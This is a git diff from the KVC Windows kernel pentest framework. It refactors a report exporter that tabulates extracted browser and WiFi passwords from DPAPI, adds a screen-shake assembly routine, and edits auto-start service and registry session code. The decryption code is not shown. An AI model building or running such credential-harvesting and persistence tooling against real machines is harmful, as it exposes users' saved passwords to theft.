table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.url) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.username) << "</td>\n";
|
||||
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||
table << " </tr>\n";
|
||||
}
|
||||
}
|
||||
@@ -325,10 +296,10 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
||||
for (const auto& result : data.passwordResults) {
|
||||
if (result.type.find(L"WiFi") != std::wstring::npos) {
|
||||
table << " <tr class=\"wifi\">\n";
|
||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td class=\"password\">" << StringUtils::WideToUTF8(result.password) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << StringUtils::WideToUTF8(result.status) << "</td>\n";
|
||||
table << " </tr>\n";
|
||||
}
|
||||
}
|
||||
@@ -337,25 +308,6 @@ std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
|
||||
return table.str();
|
||||
}
|
||||
|
||||
// Convert byte vector to hex string for display
|
||||
std::string ReportExporter::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
||||
{
|
||||
if (bytes.empty()) return "N/A";
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display
|
||||
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
||||
}
|
||||
|
||||
if (bytes.size() > 32) {
|
||||
hexStream << "...";
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
|
||||
// TXT report generation for lightweight output
|
||||
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
|
||||
{
|
||||
@@ -439,17 +391,6 @@ std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
|
||||
return section.str();
|
||||
}
|
||||
|
||||
// Utility functions for file handling and encoding
|
||||
std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept
|
||||
{
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL);
|
||||
std::string strTo(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
|
||||
return strTo;
|
||||
}
|
||||
|
||||
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
|
||||
{
|
||||
return outputPath + L"\\dpapi_results.html";
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
// ReportExporter.h - Export DPAPI extraction results in HTML, TXT, and console formats
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
@@ -7,13 +9,16 @@
|
||||
struct PasswordResult;
|
||||
struct RegistryMasterKey;
|
||||
|
||||
// Report data aggregation with automatic statistics
|
||||
/**
|
||||
* @struct ReportData
|
||||
* Aggregates extraction results and calculates statistics
|
||||
*/
|
||||
struct ReportData
|
||||
{
|
||||
std::vector<PasswordResult> passwordResults;
|
||||
std::vector<RegistryMasterKey> masterKeys;
|
||||
std::wstring outputPath;
|
||||
std::string timestamp;
|
||||
std::vector<PasswordResult> passwordResults; ///< Extracted passwords
|
||||
std::vector<RegistryMasterKey> masterKeys; ///< Extracted registry keys
|
||||
std::wstring outputPath; ///< Output directory
|
||||
std::string timestamp; ///< Generation timestamp
|
||||
|
||||
struct Stats {
|
||||
int totalPasswords = 0;
|
||||
@@ -29,10 +34,13 @@ struct ReportData
|
||||
const std::wstring& path);
|
||||
|
||||
private:
|
||||
void CalculateStatistics();
|
||||
void CalculateStatistics(); ///< Populate stats from results
|
||||
};
|
||||
|
||||
// Professional report export in multiple formats
|
||||
/**
|
||||
* ReportExporter
|
||||
* Generates professional reports in multiple formats
|
||||
*/
|
||||
class ReportExporter
|
||||
{
|
||||
public:
|
||||
@@ -44,15 +52,13 @@ public:
|
||||
ReportExporter(ReportExporter&&) noexcept = default;
|
||||
ReportExporter& operator=(ReportExporter&&) noexcept = default;
|
||||
|
||||
// Main export interface
|
||||
bool ExportAllFormats(const ReportData& data) noexcept;
|
||||
bool ExportHTML(const ReportData& data) noexcept;
|
||||
bool ExportTXT(const ReportData& data) noexcept;
|
||||
|
||||
void DisplaySummary(const ReportData& data) noexcept;
|
||||
bool ExportAllFormats(const ReportData& data) noexcept; ///< HTML + TXT + console summary
|
||||
bool ExportHTML(const ReportData& data) noexcept; ///< Generate HTML report
|
||||
bool ExportTXT(const ReportData& data) noexcept; ///< Generate TXT report
|
||||
void DisplaySummary(const ReportData& data) noexcept; ///< Print console summary
|
||||
|
||||
private:
|
||||
// HTML generation with obfuscated markup
|
||||
// HTML generation
|
||||
std::string GenerateHTMLContent(const ReportData& data) noexcept;
|
||||
std::string BuildHTMLHeader(const ReportData& data) noexcept;
|
||||
std::string BuildSummarySection(const ReportData& data) noexcept;
|
||||
@@ -60,19 +66,15 @@ private:
|
||||
std::string BuildPasswordsTable(const ReportData& data) noexcept;
|
||||
std::string BuildWiFiTable(const ReportData& data) noexcept;
|
||||
|
||||
// TXT generation for lightweight output
|
||||
// TXT generation
|
||||
std::wstring GenerateTXTContent(const ReportData& data) noexcept;
|
||||
std::wstring BuildTXTHeader(const ReportData& data) noexcept;
|
||||
std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept;
|
||||
std::wstring BuildTXTPasswords(const ReportData& data) noexcept;
|
||||
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
|
||||
|
||||
// Utility functions for encoding and paths
|
||||
std::string WStringToUTF8(const std::wstring& wstr) noexcept;
|
||||
// Utilities
|
||||
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
|
||||
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
|
||||
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
|
||||
|
||||
// Utility for DPAPI key display
|
||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
||||
};
|
||||
192
kvc/ScreenShake.asm
Normal file
192
kvc/ScreenShake.asm
Normal file
@@ -0,0 +1,192 @@
|
||||
; ============================================================================
|
||||
; ScreenShake.asm - x64 Windows Assembly
|
||||
; ============================================================================
|
||||
; Desktop shake effect using GDI BitBlt operation
|
||||
;
|
||||
; Description:
|
||||
; Creates a horizontal screen shake effect by repeatedly copying the desktop
|
||||
; device context with alternating left/right offsets. The effect applies to
|
||||
; the entire desktop, not just the calling application window.
|
||||
;
|
||||
; Calling Convention:
|
||||
; Microsoft x64 calling convention (fastcall)
|
||||
; extern "C" void ScreenShake(int intensity, int shakes);
|
||||
;
|
||||
; Parameters:
|
||||
; RCX (intensity) - Horizontal offset in pixels for shake effect
|
||||
; RDX (shakes) - Number of shake iterations to perform
|
||||
;
|
||||
; Returns:
|
||||
; void
|
||||
;
|
||||
; Notes:
|
||||
; - Uses desktop DC (GetDC(NULL)) to affect entire screen
|
||||
; - Each shake takes ~10ms (Sleep duration)
|
||||
; - User can abort by pressing SPACE key
|
||||
; - Screen is restored to original position on exit
|
||||
; ============================================================================
|
||||
|
||||
.code
|
||||
|
||||
; External Win32 API functions
|
||||
extern GetDC:proc ; Retrieve device context handle
|
||||
extern ReleaseDC:proc ; Release device context handle
|
||||
extern BitBlt:proc ; Bit block transfer (copy pixels)
|
||||
extern GetAsyncKeyState:proc ; Check key state (for abort)
|
||||
extern Sleep:proc ; Suspend thread execution
|
||||
|
||||
; Export function for C++ linkage
|
||||
public ScreenShake
|
||||
|
||||
; API Constants
|
||||
SRCCOPY equ 00CC0020h ; BitBlt raster operation: direct copy
|
||||
VK_SPACE equ 20h ; Virtual key code for spacebar
|
||||
|
||||
; ============================================================================
|
||||
; Main Function: ScreenShake
|
||||
; ============================================================================
|
||||
ScreenShake proc
|
||||
; Function parameters (Microsoft x64 fastcall convention):
|
||||
; RCX = intensity (int) - pixel offset for shake
|
||||
; RDX = shakes (int) - number of shake cycles
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Prologue: Preserve non-volatile registers per calling convention
|
||||
; -------------------------------------------------------------------------
|
||||
push rbx ; Save rbx (used for counter)
|
||||
push rsi ; Save rsi (reserved but unused)
|
||||
push rdi ; Save rdi (used for direction)
|
||||
push r12 ; Save r12 (intensity storage)
|
||||
push r13 ; Save r13 (shake count storage)
|
||||
push r14 ; Save r14 (reserved but unused)
|
||||
push r15 ; Save r15 (DC handle storage)
|
||||
sub rsp, 40h ; Allocate shadow space (32 bytes) + alignment
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Store input parameters in non-volatile registers
|
||||
; -------------------------------------------------------------------------
|
||||
mov r12d, ecx ; r12 = intensity (preserve across calls)
|
||||
mov r13d, edx ; r13 = total shakes to perform
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Acquire desktop device context
|
||||
; -------------------------------------------------------------------------
|
||||
xor ecx, ecx ; Parameter: hWnd = NULL (desktop window)
|
||||
call GetDC ; Returns HDC in RAX
|
||||
mov r15, rax ; r15 = DC handle (preserved throughout)
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Initialize loop variables
|
||||
; -------------------------------------------------------------------------
|
||||
mov edi, r12d ; edi = current direction (starts at +intensity)
|
||||
xor ebx, ebx ; ebx = counter (initialize to 0)
|
||||
|
||||
; =============================================================================
|
||||
; Main shake loop: Perform alternating left/right screen copies
|
||||
; =============================================================================
|
||||
shake_loop:
|
||||
; -------------------------------------------------------------------------
|
||||
; Check if we've completed all shake iterations
|
||||
; -------------------------------------------------------------------------
|
||||
cmp ebx, r13d ; Compare counter with total shakes
|
||||
jge end_shake ; Exit if counter >= shakes
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Check for user abort (SPACE key)
|
||||
; -------------------------------------------------------------------------
|
||||
mov ecx, VK_SPACE ; Parameter: virtual key code
|
||||
call GetAsyncKeyState ; Returns key state in AX
|
||||
test ax, 8000h ; Test high bit (key currently pressed?)
|
||||
jnz end_shake ; Exit immediately if SPACE pressed
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Prepare BitBlt parameters
|
||||
; -------------------------------------------------------------------------
|
||||
; BitBlt prototype:
|
||||
; BOOL BitBlt(
|
||||
; HDC hdc, [RCX] Destination DC
|
||||
; int x, [RDX] Destination X coordinate
|
||||
; int y, [R8] Destination Y coordinate
|
||||
; int cx, [R9] Width to copy
|
||||
; int cy, [stack+20h] Height to copy
|
||||
; HDC hdcSrc, [stack+28h] Source DC
|
||||
; int x1, [stack+30h] Source X coordinate
|
||||
; int y1, [stack+38h] Source Y coordinate
|
||||
; DWORD rop [stack+40h] Raster operation code
|
||||
; );
|
||||
|
||||
mov rcx, r15 ; Param 1: destination DC (desktop)
|
||||
movsxd rdx, edi ; Param 2: x offset (sign-extend direction)
|
||||
xor r8, r8 ; Param 3: y = 0 (no vertical offset)
|
||||
mov r9, 800h ; Param 4: width = 2048 pixels
|
||||
|
||||
; Stack parameters (5-9) - must be in shadow space + params area
|
||||
mov dword ptr [rsp+20h], 800h ; Param 5: height = 2048 pixels
|
||||
mov qword ptr [rsp+28h], r15 ; Param 6: source DC (same as dest)
|
||||
mov dword ptr [rsp+30h], 0 ; Param 7: source x1 = 0
|
||||
mov dword ptr [rsp+38h], 0 ; Param 8: source y1 = 0
|
||||
mov dword ptr [rsp+40h], SRCCOPY ; Param 9: raster op (direct copy)
|
||||
|
||||
call BitBlt ; Execute screen copy with offset
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Reverse direction for next iteration (creates shake effect)
|
||||
; -------------------------------------------------------------------------
|
||||
neg edi ; Invert sign: +intensity -> -intensity
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Increment shake counter
|
||||
; -------------------------------------------------------------------------
|
||||
inc ebx ; counter++
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Delay before next shake (makes effect visible)
|
||||
; -------------------------------------------------------------------------
|
||||
mov ecx, 10 ; Parameter: 10 milliseconds
|
||||
call Sleep ; Suspend execution
|
||||
|
||||
jmp shake_loop ; Continue to next shake iteration
|
||||
|
||||
; =============================================================================
|
||||
; Cleanup: Restore screen and release resources
|
||||
; =============================================================================
|
||||
end_shake:
|
||||
; -------------------------------------------------------------------------
|
||||
; Restore screen to original position (BitBlt with zero offset)
|
||||
; -------------------------------------------------------------------------
|
||||
mov rcx, r15 ; Destination DC
|
||||
xor rdx, rdx ; x = 0 (no offset)
|
||||
xor r8, r8 ; y = 0
|
||||
mov r9, 800h ; width = 2048
|
||||
|
||||
mov dword ptr [rsp+20h], 800h ; height = 2048
|
||||
mov qword ptr [rsp+28h], r15 ; source DC
|
||||
mov dword ptr [rsp+30h], 0 ; source x1 = 0
|
||||
mov dword ptr [rsp+38h], 0 ; source y1 = 0
|
||||
mov dword ptr [rsp+40h], SRCCOPY ; raster op
|
||||
|
||||
call BitBlt ; Final restoration blit
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Release desktop device context
|
||||
; -------------------------------------------------------------------------
|
||||
xor ecx, ecx ; Parameter: hWnd = NULL
|
||||
mov rdx, r15 ; Parameter: HDC to release
|
||||
call ReleaseDC ; Free DC resource
|
||||
|
||||
; -------------------------------------------------------------------------
|
||||
; Epilogue: Restore registers and return
|
||||
; -------------------------------------------------------------------------
|
||||
add rsp, 40h ; Deallocate shadow space
|
||||
pop r15 ; Restore r15
|
||||
pop r14 ; Restore r14
|
||||
pop r13 ; Restore r13
|
||||
pop r12 ; Restore r12
|
||||
pop rdi ; Restore rdi
|
||||
pop rsi ; Restore rsi
|
||||
pop rbx ; Restore rbx
|
||||
ret ; Return to caller
|
||||
|
||||
ScreenShake endp
|
||||
|
||||
end
|
||||
@@ -1,29 +1,4 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// SelfLoader.cpp
|
||||
// SelfLoader.cpp
|
||||
#include <windows.h>
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "ServiceManager.h"
|
||||
#include "Controller.h"
|
||||
#include "KeyboardHook.h"
|
||||
@@ -358,7 +333,7 @@ DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param)
|
||||
}
|
||||
|
||||
// Wait for stop event with timeout for periodic tasks
|
||||
DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 5000);
|
||||
DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 100);
|
||||
|
||||
if (waitResult == WAIT_OBJECT_0) {
|
||||
INFO(L"SERVICE WORKER: Stop event signaled");
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
// ServiceManager.h - Windows NT service controller for single-binary KVC deployment
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <string>
|
||||
#include <memory>
|
||||
|
||||
// NT Service management for single-binary deployment
|
||||
// Manages Windows service installation, start/stop, and single-binary execution mode
|
||||
class ServiceManager
|
||||
{
|
||||
public:
|
||||
@@ -14,32 +16,54 @@ public:
|
||||
ServiceManager(const ServiceManager&) = delete;
|
||||
ServiceManager& operator=(const ServiceManager&) = delete;
|
||||
|
||||
// Service lifecycle management
|
||||
static bool InstallService(const std::wstring& exePath) noexcept;
|
||||
// === Service Lifecycle Management ===
|
||||
|
||||
// Install service (auto-start, Win32OwnProcess, admin required)
|
||||
static bool InstallService(const std::wstring& exePath = L"") noexcept;
|
||||
|
||||
// Uninstall service (stops and removes if exists)
|
||||
static bool UninstallService() noexcept;
|
||||
|
||||
// Start installed service (waits until running)
|
||||
static bool StartServiceProcess() noexcept;
|
||||
|
||||
// Stop running service (graceful shutdown)
|
||||
static bool StopServiceProcess() noexcept;
|
||||
|
||||
// Run current executable as registered Windows service
|
||||
static int RunAsService() noexcept;
|
||||
|
||||
// Service configuration
|
||||
// === Configuration Constants ===
|
||||
|
||||
static constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
|
||||
static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
|
||||
static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities";
|
||||
|
||||
private:
|
||||
// Service entry points
|
||||
// === Service Entry Points ===
|
||||
|
||||
// SCM entry callback (initializes and runs service)
|
||||
static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv);
|
||||
|
||||
// SCM control handler (handles stop/shutdown/interrogate)
|
||||
static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode);
|
||||
|
||||
// Service worker thread (runs background logic)
|
||||
static DWORD WINAPI ServiceWorkerThread(LPVOID param);
|
||||
|
||||
// Service state management
|
||||
// === Internal State ===
|
||||
|
||||
static SERVICE_STATUS_HANDLE s_serviceStatusHandle;
|
||||
static SERVICE_STATUS s_serviceStatus;
|
||||
static HANDLE s_serviceStopEvent;
|
||||
static volatile bool s_serviceRunning;
|
||||
|
||||
// Internal helpers
|
||||
// Update service status in SCM
|
||||
static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept;
|
||||
|
||||
// Cleanup service resources and report stopped state
|
||||
static void ServiceCleanup() noexcept;
|
||||
|
||||
// Initialize internal service components before running
|
||||
static bool InitializeServiceComponents() noexcept;
|
||||
};
|
||||
851
kvc/SessionManager.cpp
Normal file
851
kvc/SessionManager.cpp
Normal file
@@ -0,0 +1,851 @@
|
||||
// SessionManager.cpp
|
||||
#include "SessionManager.h"
|
||||
#include "Controller.h"
|
||||
#include "Utils.h"
|
||||
#include <algorithm>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
|
||||
// Static cache cleared on reboot detection
|
||||
static std::wstring g_cachedBootSession;
|
||||
|
||||
// Calculate current boot time as unique session ID
|
||||
std::wstring SessionManager::CalculateBootTime() noexcept
|
||||
{
|
||||
FILETIME ftNow;
|
||||
GetSystemTimeAsFileTime(&ftNow);
|
||||
ULONGLONG currentTime = (static_cast<ULONGLONG>(ftNow.dwHighDateTime) << 32) | ftNow.dwLowDateTime;
|
||||
ULONGLONG tickCount = GetTickCount64();
|
||||
ULONGLONG bootTime = currentTime - (tickCount * 10000ULL);
|
||||
|
||||
std::wostringstream oss;
|
||||
oss << bootTime;
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
ULONGLONG SessionManager::GetLastBootIdFromRegistry() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return 0;
|
||||
|
||||
ULONGLONG lastBootId = 0;
|
||||
DWORD dataSize = sizeof(ULONGLONG);
|
||||
RegQueryValueExW(hKey, L"LastBootId", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastBootId), &dataSize);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return lastBootId;
|
||||
}
|
||||
|
||||
void SessionManager::SaveLastBootId(ULONGLONG bootId) noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey = OpenOrCreateKey(basePath);
|
||||
|
||||
if (hKey)
|
||||
{
|
||||
RegSetValueExW(hKey, L"LastBootId", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&bootId), sizeof(ULONGLONG));
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
ULONGLONG SessionManager::GetLastTickCountFromRegistry() noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
return 0;
|
||||
|
||||
ULONGLONG lastTickCount = 0;
|
||||
DWORD dataSize = sizeof(ULONGLONG);
|
||||
RegQueryValueExW(hKey, L"LastTickCount", nullptr, nullptr, reinterpret_cast<BYTE*>(&lastTickCount), &dataSize);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return lastTickCount;
|
||||
}
|
||||
|
||||
void SessionManager::SaveLastTickCount(ULONGLONG tickCount) noexcept
|
||||
{
|
||||
std::wstring basePath = GetRegistryBasePath();
|
||||
HKEY hKey = OpenOrCreateKey(basePath);
|
||||
|
||||
if (hKey)
|
||||
{
|
||||
RegSetValueExW(hKey, L"LastTickCount", 0, REG_QWORD, reinterpret_cast<const BYTE*>(&tickCount), sizeof(ULONGLONG));
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring SessionManager::GetCurrentBootSession() noexcept
|
||||
{
|
||||
if (!g_cachedBootSession.empty())
|
||||
return g_cachedBootSession;
|
||||
|
||||
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
|
||||
|
||||
if (lastBootId == 0)
|
||||
{
|
||||
// First run ever - calculate and save
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
return g_cachedBootSession;
|
||||
}
|
||||
|
||||
// Use LastBootId from registry as session ID
|
||||
std::wostringstream oss;
|
||||
oss << lastBootId;
|
||||
g_cachedBootSession = oss.str();
|
||||
|
||||
return g_cachedBootSession;
|
||||
}
|
||||
|
||||
void SessionManager::DetectAndHandleReboot() noexcept
|
||||
{
|
||||
ULONGLONG currentTick = GetTickCount64();
|
||||
ULONGLONG lastTick = GetLastTickCountFromRegistry();
|
||||
ULONGLONG lastBootId = GetLastBootIdFromRegistry();
|
||||
|
||||
if (lastBootId == 0)
|
||||
{
|
||||
// First run ever
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
SaveLastTickCount(currentTick);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
return;
|
||||
}
|
||||
|
||||
// Detect reboot: tickCount decreased
|
||||
if (currentTick < lastTick)
|
||||
{
|
||||
// New boot detected
|
||||
std::wstring calculatedSession = CalculateBootTime();
|
||||
ULONGLONG calculatedBootId = std::stoull(calculatedSession);
|
||||
SaveLastBootId(calculatedBootId);
|
||||
SaveLastTickCount(currentTick);
|
||||
g_cachedBootSession = calculatedSession;
|
||||
|
||||
// Enforce session limit
|
||||
EnforceSessionLimit(MAX_SESSIONS);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Same boot - use LastBootId as session ID
|
||||
SaveLastTickCount(currentTick);
|
||||
std::wostringstream oss;
|
||||
oss << lastBootId;
|
||||
g_cachedBootSession = oss.str();
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::wstring> SessionManager::GetAllSessionIds() noexcept
|
||||
{
|
||||
std::vector<std::wstring> sessionIds;
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ, &hSessions) != ERROR_SUCCESS)
|
||||
return sessionIds;
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t sessionName[256];
|
||||
DWORD sessionNameSize;
|
||||
|
||||
while (true)
|
||||
{
|
||||
sessionNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, sessionName, &sessionNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
sessionIds.push_back(sessionName);
|
||||
index++;
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
return sessionIds;
|
||||
}
|
||||
|
||||
void SessionManager::EnforceSessionLimit(int maxSessions) noexcept
|
||||
{
|
||||
auto sessions = GetAllSessionIds();
|
||||
|
||||
if (static_cast<int>(sessions.size()) <= maxSessions)
|
||||
return;
|
||||
|
||||
// Sort sessions by ID (oldest first)
|
||||
std::sort(sessions.begin(), sessions.end(), [](const std::wstring& a, const std::wstring& b) {
|
||||
try {
|
||||
return std::stoull(a) < std::stoull(b);
|
||||
} catch (...) {
|
||||
return a < b;
|
||||
}
|
||||
});
|
||||
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
return;
|
||||
|
||||
int toDelete = static_cast<int>(sessions.size()) - maxSessions;
|
||||
int deleted = 0;
|
||||
|
||||
for (const auto& sessionId : sessions)
|
||||
{
|
||||
if (deleted >= toDelete)
|
||||
break;
|
||||
|
||||
if (sessionId != currentSession)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, sessionId);
|
||||
DEBUG(L"Deleted old session: %s", sessionId.c_str());
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (deleted > 0)
|
||||
{
|
||||
INFO(L"Enforced session limit: deleted %d old sessions", deleted);
|
||||
}
|
||||
}
|
||||
|
||||
void SessionManager::CleanupAllSessionsExceptCurrent() noexcept
|
||||
{
|
||||
std::wstring currentSession = GetCurrentBootSession();
|
||||
std::wstring basePath = GetRegistryBasePath() + L"\\Sessions";
|
||||
|
||||
HKEY hSessions;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, basePath.c_str(), 0, KEY_READ | KEY_WRITE, &hSessions) != ERROR_SUCCESS)
|
||||
{
|
||||
INFO(L"No sessions to cleanup");
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD index = 0;
|
||||
wchar_t subKeyName[256];
|
||||
DWORD subKeyNameSize;
|
||||
std::vector<std::wstring> keysToDelete;
|
||||
|
||||
while (true)
|
||||
{
|
||||
subKeyNameSize = 256;
|
||||
if (RegEnumKeyExW(hSessions, index, subKeyName, &subKeyNameSize, nullptr, nullptr, nullptr, nullptr) != ERROR_SUCCESS)
|
||||
break;
|
||||
|
||||
std::wstring keyName = subKeyName;
|
||||
if (keyName != currentSession)
|
||||
keysToDelete.push_back(keyName);
|
||||
|
||||
index++;
|
||||
}
|
||||
|
||||
for (const auto& key : keysToDelete)
|
||||
{
|
||||
DeleteKeyRecursive(hSessions, key);
|
||||
}
|
||||
|
||||
RegCloseKey(hSessions);
|
||||
|
||||
if (!keysToDelete.empty())
|
||||
{
|
||||
SUCCESS(L"Cleaned up %zu old sessions (kept current session)", keysToDelete.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
INFO(L"No old sessions to cleanup");
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring SessionManager::GetRegistryBasePath() noexcept
|
||||
{
|
||||
return L"Software\\kvc";
|
||||
}
|
||||
|
||||
